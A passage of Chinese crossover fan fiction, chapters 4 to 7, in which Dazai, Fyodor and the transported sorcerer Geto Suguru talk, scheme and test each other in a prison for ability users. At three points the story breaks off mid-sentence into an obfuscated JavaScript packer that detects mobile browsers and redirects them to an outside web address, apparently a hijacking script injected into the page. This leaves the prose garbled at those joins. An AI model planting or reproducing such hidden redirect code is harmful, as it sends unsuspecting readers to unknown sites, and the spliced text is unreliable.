“突然发现我的烦恼太多了,”太宰治叹气,“上吊时绳子断开,入水被渔网捞下来,快快乐乐带着追求者的炸弹出门,结果被搜爆犬拦下狂吠,不过我后来特意找到当事狗,在驯养员眼皮底下喂了不少高价狗粮呢,害得它第二天训练多跑了两圈。” 费奥多尔没被他的垃圾话干扰,咬着指甲若有所思,“原来如此,太宰君也有这种感觉吗,周围人太蠢,根本没办法倾诉,现在好不容易有不相上下的对手在场。” 太宰治接话:“所以不聊天有点浪费了。” 才不是,夏油杰的突然出现打乱他的计划,害得他原本想做的事情偏移了不少。 来到默尔索的正常人本就不正常,万一让高中生本就扭曲的世界观更歪了怎么办——结果太宰没想到,夏油杰不需要别人坑他,自己就能把三观一路偏移到死路上。 真讨厌,按照镜花偶尔看的漫画内容,高中生不应该拯救世界吗,怎么跟魔人一样被抓进监狱了。 费奥多尔微笑:“太宰君的烦恼很容易解决,只要乖乖被我杀死——” “唯独这点,”太宰治露出恶寒的表情,“恕我无法接受。” 被男性杀死已经很绝望了,如果那人还是费奥多尔,糟糕,是走在三途川都会气到复活的设想。 “至于我的烦恼,”费奥多尔挂着苦恼的微笑,“我的挚友想摆脱身体的拘束,为此我特意策划一个计划,可在他奔向自由的瞬间,觉得我也是困住他情感的一份束缚,想要杀死我,再无债一身轻地走向自由呢。” 摆脱拘束,走向自由? 根本就是想死吧,作为自杀爱好者的太宰治心里冷笑,所谓帮他构建的计划,也是杀死一枚不听话的棋子罢了。 同为想死人士之一,太宰治觉得仅此一次的死亡很神秘,世上也没什么值得活着的瞬间,所以才积极探索死亡。但费奥多尔口中的小丑却觉得,活着是一种不自由,只有永远闭上眼,才能脱离约束飞上天空。 好神经,果然真正的天人五衰都是群神经病。 “我的建议是,”太宰恶意满满,兴致勃勃地说,“只要在他杀死你之前成功反杀,然后在对方临死前告诉他,你一点都没把他当朋友,这样无论是情感还是身体上的束缚就全消失了。” 夏油杰其实刚开始没睡熟。 然而太宰治和费奥多尔换成俄语聊天,他听不懂。 早知道出国期间顺便多学点外语了。 他听得艰难,大概只听了两三句话,就放任意识昏睡过去,可拥有翻译器的狱警却能理解这段聊天内容,原本因为夏油杰面带笑容说出杀死一百多人而紧绷的肌肉,随着两个极恶之徒的聊天内容,现在更紧张了。 两个狱警恐惧呢喃:“魔鬼……无法理解的魔鬼。” 无法理解,全都无法理解,无论是吃饭喝水似的讨论杀死挚友、离间女店员、切除情绪神经、洗白档案,还是面带满足地复述屠杀村落,都是正常人听完会心生恐惧的深渊。 认知跟正常人格格不入,三观思维与普通社会迥然不同,他们的恶劣程度在异能监狱默尔索亦可称得上一骑绝尘。 就在这时,监控里的收音忽然变了,换成其他语言。 太宰治:“你的外界联系方式是什么?” 费奥多尔:“作为交换,太宰君,将您的联系方式也告诉我吧。” 太宰治:“才不要!只有抢先看穿你的联络手段,才能让外面的同伴破坏掉,这样就是我赢了。” 费奥多尔:“话题回到最开始了,仅凭您是看不穿我的手段哦。” 太宰治:“我倒是很有自信,我可是为此而来的。” 两人的交流从俄语变成英语,从法语又变成德语,维持着每句一换的速度,让全世界最高级的翻译器连续变换频道,甚至卡机五六分钟才刷新出来。 不过内容倒是过分的简单……称得上小学生吵架的地步了。 比起试探反而像炫技,难道,他俩其实并不知道对方的过往细节?只好通过快速变换语言猜测对方的过往,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258681|166494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惜是结果势均力敌,苦的是高速运转的翻译器。 确认自己抛出的每种语言都会被另一个人接上,他俩默契对视,忽然再次改变音节。 这次变成一种翻译器检索失败的新语言。 “这是什么?”狱警茫然地问同事,“翻译器里可不止有117种世界常用语言,还包括各地方言和不足百人使用的少数语言,加起来至少超过五千以上种类,都没匹配到相应的音节。” 他同事立刻扑上去,将这段监控录像保存收录,发送到警备长和其他欧洲异能集团的邮件里,敲打邮件的手指几乎控制不住在颤抖:“他们、他们没有使用任何语言!得尽快找人翻译出暗语逻辑。” 挂在头顶的计算机接替了翻译器的工作,迅速运转起来,通过他们吐露的每一个音节,不停的匹配、总结、删除、模拟,不停的运算出错……重新运算……运算出错…… 陷入死机的循环之中。 “出来了出来了!刚才传给本国的邮件回话了,让我看看……‘暗号系统无法破解,是他们以前见面的聊天内容的再编和提取,在刚才对视的瞬间即兴设计出来,除非挖出大脑里的记忆,否则无人理解’。” 狱警每念一句话,都感到更深刻的惊恐。 “上帝啊,他们真的是人类吗!!” 收音筒里的对话仍在继续,用乱码似的语言,间或夹杂着字母和数字。 “我虽然以前经常在东京出差,却不知道还有咒术高专,难不成入水会影响观察力,哎呀真可怕,希望下次直接死掉。” 费奥多尔同样回以乱码:“确实如此,我从来没听过名叫夏油杰的强大异能者,死屋之鼠的本职好歹也是情报集团,连我都没打听到……” 倒不是他俩必须全知全能,而是任何人的能力,都会在早期显露出来,就连生活在与世隔绝山村里的贤治,也因暴风雨导致的意外展现在侦探社面前,而常年在东京上学的夏油杰——他们居然、完全没听过! 这位高中生是个突然冒出来的黑洞。 费奥多尔敛着眉眼,忧愁地把指甲咬得坑坑洼洼:“夏油先生非常自信,他应该时常使用能力,强者得在一场场必胜的战斗中变得骄傲。” 太宰治轻巧地补充:“东京的每场动乱我都了解,没有他的身影。” 要知道,就连港口黑手党走私柠檬炸弹、结果不小心掺合进特危异能者杀人侦探浑水里的事情,他都打听过一点内幕消息。 “总而言之,能进入默尔索,”他换了条翘起的腿,毫不掩饰自己欣赏,满脸笑容地断定道,“虽然是黑洞,但也是个潜力不错的少年呦。” 费奥多尔友情提示:“正常人可不会把被关进最严密的异能监狱当成夸赞。” 不过他也默认了黑洞的说法。 奇怪的松弛感,一闪而过却并非错觉的恶意,从未听过的名字和学校,以及对全球闹剧毫不知情的懵懂…… 又得联系外界调查了。 如果是隐藏起来的秘密组织还好,但假若夏油杰跟西格玛差不多,是个‘不该存在的人’,那只能说明,除了天人五衰以外,还有其他势力掌握一页书。 决不能放任这种可能性。 他看了一眼太宰治,再一次感受到这位老对手的可怕之处,无论是在夏油杰睡着后找自己聊天、还是语气轻松地谈起夏油杰的可疑之处,都是挑起自己联络外界手段的话术。 当然太宰本人也得联络外界,换而言之,这不过是另外一场新的对决。 他语气温柔的换回日语,说出让旁听狱警摸不着头脑的宣言:“太宰君,鹿死谁手,尚未确定呢。” 5. 第 5 章 夏油杰一觉睡了九个小时,天花板的灯光跟没关过似的晃得刺眼,他口渴到冒烟,习惯性放出咒灵帮自己拿水,没在熟悉的方向搜到水杯,下意识睁开眼。 忘记自己不在高专宿舍了。 他揉着抽疼的脑袋起床,丝毫不知道在睡觉期间自己的身份快被翻出来了,虽然受限于世界不同,猜测的内容歪得厉害。 夏油杰只看见隔壁两个狱友睡得正香,费奥多尔像具尸体一样双手在腹部交叠,太宰治蜷缩身体用背部孤立所有人,而他自己四仰八叉,两条腿没办法完全舒展,睡着睡着半边身子掉到地板上。 总得来说,每个人的睡姿都很有特点。 头顶的监视器随着他起床的动作转动,夏油杰打着哈欠转身倒水,避开监控器的瞬间,他食指中指并立快速在面前划过,同时在心里默念。 由暗而生,黑中至黑,污浊残秽,尽数祓禊。 一个直径三十厘米左右的结界出现。 咒术是讲究等价交换的力量,得到一部分就必将失去另一部分,常用案例是故意削弱己方优势换取实力增强,又比如现在,夏油杰舍弃账能阻止普通人进出的优势,换得只有自己看见内部景色的特点。 之前偷出来的文件整齐摆在眼前,他找了个舒服的姿势坐好,从床头随意抽出本书当伪装,捧着水杯,假装这是从冰箱拿出来的可乐,然后指挥蝇头翻页。 让他看看,嗯…待交接犯人资料,高危异能者信息,默尔索本月值班,囚犯过往犯罪记录——看到这个的时候,抱着不知名的心态,夏油杰瞄了眼两位狱友的,被他们写满好几张纸的罪名目录吓了一跳。 这居然只是目录? 他牙酸的想,假如把每件事的起因经过结果像报告一样写出来,这两人的罪行就能单独出一本书了吧? 他继续往下翻,终于找到天人五衰事件的详细概述,结合自身经历,捋清这几天的经过。 共喰事件一个月后,即四天前,疑似是天人五衰的武装侦探社获得政府授发的荣誉勋章,借此入侵政府中枢犯罪,制造大五衰相案件,并闯入反对侦探社的秘密会议里大肆屠杀,害死司法省次官的秘书,刺杀异能特务科长官,被全球通缉,转交给军警猎犬追捕。 通缉颁布的十二小时后,太宰治转到默尔索监狱。 三天前,远在不知名小山村搞人种歧视的夏油杰被路过军警末广铁肠正义制裁,因空中交通堵塞和国内乱象被搁置在监禁室,在此期间他跟军警做了交易。 两天前,中岛敦和泉镜花闯入银行金库,似乎带走了什么人,引发大规模动乱,被特务科的特殊部队追杀。 今天,夏油杰正式搬进默尔索里,与太宰治和费奥多尔遥遥相望,而军警召开会议决定主动出击,就在他睡觉的这九个小时,那群人已经闹到天际赌场里了。 看完这一连串不熟悉的名词,夏油杰基本断定。 绝对绝对是穿越了!跟轻小说里写的差不多,只不过他来到一个没有魔法没有精灵、国家名字相差无几、连哈利波特都同样存在的地球。 在他以前的世界,咒术总监部跟警方有合作,大多数政府成员隐约知道诅咒的存在,别说后面的各种刺杀事件了,刚开始发生的连环杀人案时就会通知他们一声,免得社会的恐慌滋生出高级咒灵。 反正在夏油杰接取旧山村的任务前,都没听过类似的风声。 至于全球通缉人人恐慌一词,更是无稽之谈。 旧山村路途遥远又偏僻,夏油杰先后乘坐了飞机电车和辅助监督的私家车,虽然去年灾害频发,害得今年夏天咒灵跟蚊子一样疯涨,但路上行人早就忘记去年散发出来的恐惧,走在路边笑得没心没法像傻子,精神面貌看着比夏油杰都健康。 所以,这是个没有咒灵的新世界,只不过有异能力者,有世界异能大战,有异能力罪犯,有异能集团和杀人结社。 夏油杰心想,还不如当诅咒师呢。 现在好了,刚穿越就蹲局子,还被搅进一滩浑水里了吧。 最让他心情复杂的是,这份档案里,还有不少照片和路线配图。 比如共喰事件时躺在病床上虚弱的福泽谕吉,众多社员屠杀秘密会议摘下头套的细节表情,江户川乱步刺杀特务科长官的监控截图,中岛敦两人闯进金库的路线分析…… 真离谱,这么多目击报告,谁见了不怀疑你们是天人五衰。 既然已经穿越,不用思考咒术师和普通人和咒灵三者的食物链关系,无所事事的特级咒术师决定弄清楚真相。 倘若侦探社真的是天人五衰,他只要原地等待,侦探社即将逼得穷途末路,全世界都在通缉他们,此刻离开国境线跑到天际赌场,只会面对更多敌人。 但如果是被冤枉,只能说明背后还隐藏着一位泼脏水的幕后黑手,让身为侦探的他们没办法查清真相,就无法容忍了,万一幕后黑手算计来算计去,不小心波及到在医院休养的菜菜子和美美子怎么办? 夏油杰一想到这里就行动力十足,他指挥蝇头把全部文件放回原位,转头去找费奥多尔的犯罪详情,发现所谓的共喰事件,其实就是刚才听过的八卦,让侦探社社长和黑手党首领的性命相连,其中一方死掉才能解除异能。 还是侦探社找到异能主人从源头上解决,才让幕后主使费奥多尔入狱。 等等。 共喰事件过去一个多月了,对吧? 夏油杰突然迟疑起来,默尔索的严密程度他在押送期间就领教过,哪怕是自己,失去咒灵也很难对外传出只言片语,而费奥多尔的入狱时间刚好跟动乱完美错开。 ……难道隐藏起来的幕后黑手并不是费奥多尔? 那太宰治一直盯着他干什么,还故弄玄虚地说什么“被老鼠算计,感染上甩不掉的鼠疫”。 夏油杰脑子快要爆炸了。 他想了两秒钟,决定彻底放弃思考,要不直接往两位狱友身边放咒灵得了,最后谁暴起杀人毁灭世界,他就让哪只咒灵把人吞下去。 说干就干,夏油杰由己度人,担心同样进默尔索的两人也有强大异能,干脆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258682|166494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唤出两个体型较小的一级咒灵。 两只精挑细选的咒灵穿过金色透明壁罩,小心翼翼飞到目标身边,夏油杰谨慎地控制着距离,免得咒灵距离人类太近而生病。 如果他们俩是自己世界的普通人,那就无所谓了,病就病吧,死掉夏油杰也不在乎。 刚安置好咒灵的位置,背对所有人的太宰治突然翻了个身,他面朝夏油杰的方向,双眼紧闭,呼吸平缓,摊开的手臂恰巧垂到床边,指头碰到在地板上阴暗爬行的鱼形咒灵。 下一秒,在夏油杰错愕的视线下,咒灵消失了。 “???” 不是等等? 这人没有咒力怎么祓除的咒灵? 夏油杰差点把嘴里的白开水喷出来,常识受到挑战,连生理监测装置都发现他异样的情绪激动,摄像头全部齐刷刷偏转过来,夏油杰顾不上遮掩,连忙感知体内的咒灵数量。 还好还好,一只没少。 提起的心脏终于放下,夏油杰拿着水杯坐回原位。 重新召唤出来的咒灵精神萎靡不少,有气无力地瘫在脚底下蠕动,嘴里重复着‘抹消、抹消、抹消……’,仿佛受到极刑似的,咒力凭空消失三分之一,直接掉到二级,顿时,夏油杰刚才还惊诧的心情转变为悲愤和痛惜。 他的一级咒灵也没多少了啊!!! 突发意外打得夏油杰措手不及,当初跟末广铁肠打斗时,他护着双胞胎姐妹束手束脚,而军警敏锐地避开了每个咒灵,导致现在他根本不知道是太宰治这人特殊,还是异能力者都很特殊。 这关乎外面乱的时候他能不能越狱保护菜菜子和美美子。 心烦意乱的他让另一只咒灵也去触碰费奥多尔,在夏油杰紧张的注视下,咒灵安然无恙,无意识在地板游动着。 “……”他缓缓松了口气。 在异世界维持实力不变是好事,但心底悄悄升起‘让咒灵一举消失’的想法也沦为泡沫。 夏油杰心情复杂呆坐在床边,好半晌,才后知后觉发现一道尖锐目光正在背后露骨地打量自己,他顺着直觉转头,对上太宰治毫无睡意的脸,缠着绷带的青年暗茶褐色双眼一片清明。 夏油杰蓦地意识到两件真相。 太宰治早就醒了。 咒灵是他故意抹消的。 对面黑发自来卷青年笑了笑,却奇异没什么笑意,他视线黑沉沉,无声做出口型,刻意放慢动作让他看清:夏油同学,你刚才在做什么? 面对质问,夏油杰下意识露出假笑,异能者也看不见咒灵,常年在各种千奇百怪诅咒中穿行的他更不怕被人恐吓,倒不如说越刺激的危机感,越让身为特级的他跃跃欲试。 咒术师以负面情绪作为力量。 披散着头发的高中生眯起双眼,不在乎地打破安静的气氛:“太宰你醒啦?我在想一些八卦,比如连环杀人案,银行失窃,赌场受袭,哦对了,还有真假凶手什么的。” 他故意哎呀一句,托着下巴笑眯眯说:“只是八卦而已,你不会也想听吧?” 6. 第 6 章 太宰治其实没睡。 他在等费奥多尔联系外界,进一步摸清他的计划,怎么可能没心没肺跑去睡觉,而且他睡眠质量向来很差,每天入睡时间少得可怜,保持平稳呼吸对他来说轻而易举,稍微改变细微动作,就能营造出‘这人睡得很熟’的肢体错觉。 曾用这招戏弄不少人的太宰治轻车熟路,他默数着心跳发呆,然后听见新狱友起身的窸窣声,下意识在脑海内建设模型,对方穿鞋,喝水,看书……两分钟过去还不翻页,在怀念过去还是发呆? 太宰治打赌费奥多尔也在听——总不能真睡着了吧?好好的年轻人贫血成这样? 冷不丁的,太宰突然身体下意识紧绷,他再次感觉到某种熟悉的深沉恶意,在空气中缓慢地游弋着,这次持续时间更长,仿佛看不见的小人正跋山涉水来到自己附近,他假装熟睡翻身,好奇用手指碰了碰。 恶意消失了。 果然是异能啊…不是新狱友想杀自己才散发的情绪,想到这太宰治索然无味,不过夏油杰可以实体化恶意,又能调用如此庞大的恶意,很难让人相信他是个好人,更别提被收押前还在杀人,难怪会被猎犬送到默尔索来。 这样想着,太宰治睁开了眼,看向拿着书发呆的夏油杰。 …… 夏油杰话音刚落,身缠绷带的青年表情就变了,可跟他想象中的忌惮或者冰冷不一样,太宰满脸无所谓地“哦”了一下,接着追问:“所以呢?” 夏油杰:“???” 如果是费奥多尔,可能会跟太宰治有来有回“什么所以?”、“就是那样啊,那个所以”、“哦,原来是这个意思”废话几句。 但夏油杰不是。 他只觉得匪夷所思。 太宰治不会真把侦探社的行动当八卦听了吧? 普通的犯罪案引不起罄竹难书的狱友侧目很正常,但这次不同,是他快乐老家里的同伙惹出来的麻烦,现在不打听,等过段时间,侦探社有一个算一个,全得在默尔索里团建。 如果凄惨点,出席人变成黑白照片摆在对面也不奇怪。 联想到前段时间笑着聊天的学弟第二天躺在裹尸袋里的场景,夏油杰心情突然变差,他失去跟没有同伴爱的太宰治聊天的兴趣,让蝇头带着文件回去。 正控制咒力解除帐时,太宰治细致地盯着他的脸,哇哦一声:“你在伤心?” 语气带着微妙的古怪感,仿佛撞见大猩猩在写诗,让本就跟普通人格格不入的咒术师顿时不乐意起来,反唇相讥:“不然呢,我要开开心心来坐牢?” “不不不。”太宰治摇头,满脸笑容。 他当然知道夏油杰在暗示什么,不过他查过天际赌场,一个毫无建造记录半路突然出现的建筑,他怀疑是书在八天前改变现实的结果,因此才对中岛敦的安全毫不怀疑。 只要到了天际赌场,猎犬敏锐的鼻子会嗅到里面的犯罪气息。 这招祸水东引在太宰进来前就策划了,满月之夜是书页第二次生效的时间,满打满算不超过十天,时间不等人,一举多得就成了他布置计划的首要选择。 正好安吾传来的消息让他知道立原道造是军警第五人,只要将他引过去,异能是操纵金属又在黑手党摸爬滚打多年的立原就会察觉到不对劲,放弃追查侦探社,关注点拐到天际赌场才是恐怖分子据点这事上。 至于西格玛这个人,太宰其实没查出太多,只知道他资料从三年前开始,被欧洲警察逮捕,与许多犯罪集团有过接触,同时查出来异能是交换彼此想知道的记忆。 西格玛没战斗力,却坐拥空中要塞天际赌场;猎犬失去后援,却是出了名的暴力组织。假如两方打起来,一时很难分出胜负。 这时侦探社就成为一枚举重若轻的砝码,假如帮助军警能让他们心怀感激,并且意识到记忆不可靠那最好,如果没办法,退而求其次也能让侦探社趁机喘息,同时打击天人五衰的阴谋,拯救险些崩溃的金融体系和全世界的爆炸阴谋。 太宰治的想法转瞬间闪过一大片,嘴上继续问:“你很在乎侦探社?” 这问题他刚才问过一次,但那是为了打断费奥多尔,没什么特殊含义,结果本以为是无关路人的洗衣机连侦探社行动都快摸清楚了,在太宰准备把他当敌人防备时,夏油杰又流露出对他不在乎同伴这事的不满。 这就有意思了。 无缘无故的,夏油杰凭什么不满。 太宰只能判断他拥有正常同理心,并且以前经历类似的情况。 有同理心好啊,说明还能救,不会被魔人骗去当帮手,太宰当然会满脸笑容,他熟练地无视夏油杰看人渣似飘过来的眼神,“闲着也无聊,来谈谈你杀人的原因?” 这是人类无聊时应该谈的话题吗,夏油杰心里吐槽,但他对每次鞭尸旧山村的人都欣然接受,干脆把伪装用的书扔到一边,微笑说:“他们找我帮忙,被我发现在背地里偷偷伤害我的家人,只好把他们全弄死了。” 不对,这跟大义没关系,是完完全全的私仇。 太宰下意识推理,除非家人指的是广泛意义的同类人,才让夏油杰杀人后仿佛净化似的顿悟,跟地下室里蹲着的魏尔伦差不多,决心保护一类人,仇视另一类人。 所以他也是实验体?不像,谈起上学肄业和老师的语气太正常了,完全没有实验体该有的迷惘。 心里盘算得厉害,太宰也没显露出来,顺着他说里的意思:“那你家人呢?被军警带走了?说起来我也是被猎犬逮捕的,条野采菊,跟逮捕你的军警末广铁肠是搭档。” 他知道怎么轻松挑起人的兴趣,夏油杰刚才对猎犬毫不知情,说明他了解侦探社情报是前不久发生的事,考虑之前刚才一闪而逝的恶意,估计是他在动用异能从狱警身边翻资料,但监狱里没有猎犬的详细信息,既然如此,就用他感兴趣的情报试探好了。 夏油杰果然意动,好奇问:“条野采菊跟末广铁肠一样厉害?” “当然不了,”太宰虽然有当谜语人的习惯,但解释起来也毫不吝啬,“理论上末广铁肠是猎犬最厉害的剑士,之所以说理论,是他打不过队长福地樱痴,但这也看出来在战斗力方面末广铁肠是公认的强者,但条野采菊不一样,他双眼失明,五感却绝非常人,擅长审讯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258683|166494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 测谎,能相隔数米听见犯人的心跳脉搏,比听诊器还清晰,是测谎的高手。” 夏油杰惊了,脱口而出:“这也是异能?” 什么叫也?说得好像他刚接触异能的概念一样,太宰记在心底,像没发现一样笑眯眯着摇晃手指说:“最可怕的是,这是他本身具备的能力,异能我还没调查出来呢。” “那……”夏油杰迟疑,“猎犬还有其他人吗?” 这种人简直是他的克星,咒灵没有呼吸心跳脉搏,但他有,如果未来想闯进军警医院带回双胞胎,条野采菊将是比末广铁肠更难缠的对手。 什么时候,他的想法从坐牢就坐牢吧、败者就应该老实接受,变成现在积极寻找越狱方法的呢? 似乎是从知道穿越后外面一团乱开始的。 太宰治说:“除了刚才提过的队长福地樱痴,还有两个人,一个是专业的卧底搜查官,姓名未知。”他不想把立原道造的身份说出来,于是草草略过。 “另一个是副队长大仓烨子,外表看着只有十二岁,却让不少坚强的罪犯听到她的名字就会闻风丧胆地哭出来呢。” “你也会?”夏油杰饶有兴致。 太宰微笑:“真可惜,虽然同样是罪犯,但我是让别人哭出来的那个。” 他们两个聊到现在,费奥多尔也没有醒的迹象,太宰默认他睡死了,至于是贫血昏过去还是想不睁眼坐享其成他不在乎,瞥了一眼收回视线,他直截了当问:“你不讨厌末广铁肠?” “当然不。”夏油杰摇头。 跟伏黑甚尔这个烂人比起来,在监禁室里用性命向他担保会照顾好双胞胎的末广铁肠简直是天使,甚至反过来向他主动展示工资,证明自己的存款足够养得起两个小孩。 当时末广铁肠说:“虽然不理解你为什么屠村,但你救下两个素未相识的孩子是事实,我不会辜负这丝善意,如果我意外死亡,留下的遗产足够两个孩子长大上学到工作。” 她们是咒术师,是帮普通人处理烂摊子,还要被普通人害死的受害者。 当时不知道穿越的夏油杰想,真恶心,他不需要这种伪善的关心。 那个时候,窗外两个偷跑出来的女孩焦虑到团团转,她们为了帮夏油杰而来,其实屋内两人都发现了,但没人回头,末广铁肠直视他的眼睛,严肃承诺:“就算我的死亡原因来自她们复仇,这点也不会改。” 普通人的善意毫无作用,夏油杰心想,特级诅咒缠在末广铁肠身上,只要一个念头,他就能离开,可当着两个孩子的面,他手指神经质似的不自觉抽动几下,最终取消了咒灵。 咒术师想离开,有的是办法;咒术师不想离开,也没人知道。空气中一闪而逝的波动如同幻觉,消失的无影无踪,某种使人反胃的疲惫催促他点头闭眼,“可以。” 就算如此,他依然厌恶普通人。 “哇哦。”太宰治摸着下巴,观察夏油杰陷入回忆的表情,惊讶得出他居然喜欢好人的结论。 那他赢定了。 太宰心非常有自信地想,跟魔人相比,他当好人许多年了,靠谱程度享誉整个侦探社。 7. 第 7 章 费奥多尔最终还是醒了。 话题越聊越不对劲,再不醒,新狱友又要被拐走了。 其实他的伪装比太宰治像样多了,当然也有贫血的部分原因,撑着额头坐起来,习惯性挂着没有含义的微笑:“两位在聊猎犬?实不相瞒,作为从事违法行业的情报贩子,入境前我可特意了解过一番。” 太宰治啧了一下,小声嘀咕:“怎么没昏死过去。” 费奥多尔熟练无视,他用足够多的信息来插入话题,周到的不使任何人感到厌烦:“猎犬是纯粹的暴力组织,如果把同时穿普通人装扮的黑手党和猎犬放在同一空间,手段更粗暴的才是猎犬,当然,作为强大的代价,他们每月都要经历一次极为痛苦的异能手术,否则全身腐烂而死,不存在背叛的可能性。” “猎犬还挺喜欢招揽人的,”太宰接着道,像在赌气,证明自己也知道不少内幕,“无论过往和出身,哪怕是恐怖分子,只要猎犬觉得适合,就会发出邀请,不过被邀请的人一般都选择拒绝。” 猎犬喜欢拥有坚定信念、不轻易动摇意志的人,可惜这样的人往往只会愈发坚定地拒绝猎犬的邀请,陷入一种死循环。 欣赏这类人的太宰治评价:“眼光不错,可惜招聘邀请就没成功过几次。” 擅长操纵棋子的费奥多尔评价:“是柄非常好用的利刃。” 两人异口同声,点到为止,没有继续往下说,之后不是能当狱警眼皮下讨论的话题,没人喜欢多生事端,除非用自造的即兴暗语,然而现在主要目的是套夏油杰的信息。 费奥多尔换了个话题,维持着有分界感的好奇:“您喜欢好人,这很常见,那您讨厌什么人?” 当然是控制不住负面情绪,生产咒灵,却只会对身为无辜者和帮助者的咒术师辱骂恐惧的普通人。 夏油杰不假思索地想。 然而这里没有咒力,讨论公不公平毫无意义,他完美地控制住憎恶的分界线,撑着下巴勾出笑容:“很多吧,我讨厌整个世界的普通人。” 太宰治差点笑出声来。 这可真是,跟魔人的理想完全相反,他俩加在一起简直是人类清除计划。 费奥多尔估计也无语,他神情复杂地看了夏油杰十秒钟,仿佛看到脏东西似的闭上眼,碎碎念道:“真是冒昧的理想,这就是神的调和吗,让我遇到您这般棘手的人?” 夏油杰从他反应猜到一些东西,怜悯道:“没关系,咱们两个的理想不冲突,你随意努力,只要别蔓延到我的家人身上就行。” 毕竟又不是同一个世界的。 家人?两个人下意识分析这句话里的含义,涵盖范围不包括夏油杰自己,是对实力足够自信,还是说,他不在乎自己被卷进危险中、哪怕被人算计导致死亡? 费奥多尔认为是第一种,太宰治认为是第二种。 拥有相似头脑却走向分岔路是他俩常有的情况,在对视的瞬间,就明白对方的选择,费奥多尔不自觉推测太宰选择第二种的原因,最终认定,是他刚才装睡时夏油杰和太宰治的聊天过程。 但聊天内容他也听完了,费奥多尔先入为主,依然认为夏油杰疑似被书创造出来,这种人普遍在乎同伴,也斤斤计较自己存在的意义,毫无缘由把本人排除在外的夏油杰异能绝对很强大。 哪怕理想冲突,也值得招揽,或者运作一下把他变成吸血鬼。 费奥多尔下意识盘算起来,吸血鬼的计划该提上日程了,为了保护赌场要塞,西格玛肯定拼尽全力奋不顾身,如果同归于尽最好,但失败也有可能,最差结果是被策反……算了,还是让霍桑去处理一下。 西格玛被策反的可能性太大。 过分追求存在理由的人,容易被侦探社用三言两语感化。 又简单聊了几句,费奥多尔和太宰治还当着夏油杰的面下了盘国际象棋,送饭时间到了,今天是日式早餐。 看到餐盘里的筷子和生鸡蛋,费奥多尔头更疼了,他摸出旁边的刀叉,闭上眼睛,自欺欺人地切割三明治。 明明是欧洲监狱,为什么会根据关押方位罪犯的国籍数量来送餐,之前还是一顿日式一顿俄式……果戈里快点过来吧,反正他不会死,但这种日子是受够了。 在场三人没有食不言的习惯,于是刚才断开的话题被接上,费奥多尔醒后,聊天主场重新变成他和太宰治,夏油杰反倒成为看戏的旁观者。 他心里叹气,正因如此,他才宁愿被太宰治抢先一步也要装睡。 “我查过西格玛,”太宰治简单说出调查经过,“三年以前的经历完全没有,跟天际赌场差不多,很容易让人联想到什么。” “您没猜错。”费奥多尔把生鸡蛋拿的要多远有多远,态度好像坐在讨厌的餐馆吃饭,而不是即将说出惊天新闻。 他莫名其妙看了一眼困惑中的夏油杰,“西格玛出现的原因跟赌场一样。” 是被书创造出来的人类。 为了试探夏油杰是否跟书有关,费奥多尔故意没用创造出的暗号系统,但某些细节不能让狱警知道,只好用模棱两可的说话方式。 “不过并非八天前,而是三年前。” 太宰不知道魔人非要说日语的原因,只好顺着他的做法再做打算,意有所指道:“玩弄生命,真让人作呕。” 费奥多尔不为所动,“您玩弄自己生命时可不是这副态度。” “我又不是好人。”太宰从善如流地接受了新设定,指了指脚下的监狱,“所以我们才坐在这,不是吗?” “我以为你的真实想法要更傲慢,”费奥多尔连表面礼貌都懒得维持了,不再说敬语,“只有足够安全的地方,才能让我们这种头脑发出指令,这是理所当然的结论,于是我故意被逮捕,而你放任罪名被翻出来。” 夏油杰一边听一边心不在焉地吃三明治,试图从对话中分析线索。 分析失败。他不算愚笨,但他们俩是跟人类格格不入的聪明。 想得知这场动乱隐藏了什么,最简单的方法是跟某个人单独聊聊。 这个人,夏油杰比较倾向太宰治。 无论是刚见面时几次三番提醒他远离费奥多尔,还是能消除咒灵的特殊能力,亦或者是侦探社被通缉、而他恰巧能雪中送炭得到感激,都是足够的理由。 不过,更重要的理由,是太宰治比费奥多尔好点——好人的好。 两个罪犯,他当然选择比较顺眼的那个,这方面太宰占了许多优势,虽然罪名罗列起来超过四位数,可比起险些毁灭横滨的费奥多尔,跑到银行金库却分文不取的侦探社的信誉度显得极其感人。 就在他策划怎么用咒灵传递消息时,另外两个人表情一变,如同凭空得知什么出乎意料的消息,几乎同时开口:“西格玛……” 两人齐刷刷停下,隔了会儿,太宰治扬起笑脸先开口:“真是好算计,在侦探社即将成功的瞬间,动用霍桑,一个不算强大的异能者,使整个计划崩盘。” “我喜欢他的异能,”费奥多尔同样在微笑,“愿神明保佑他的灵魂。” 夏油杰满头雾水:“???”

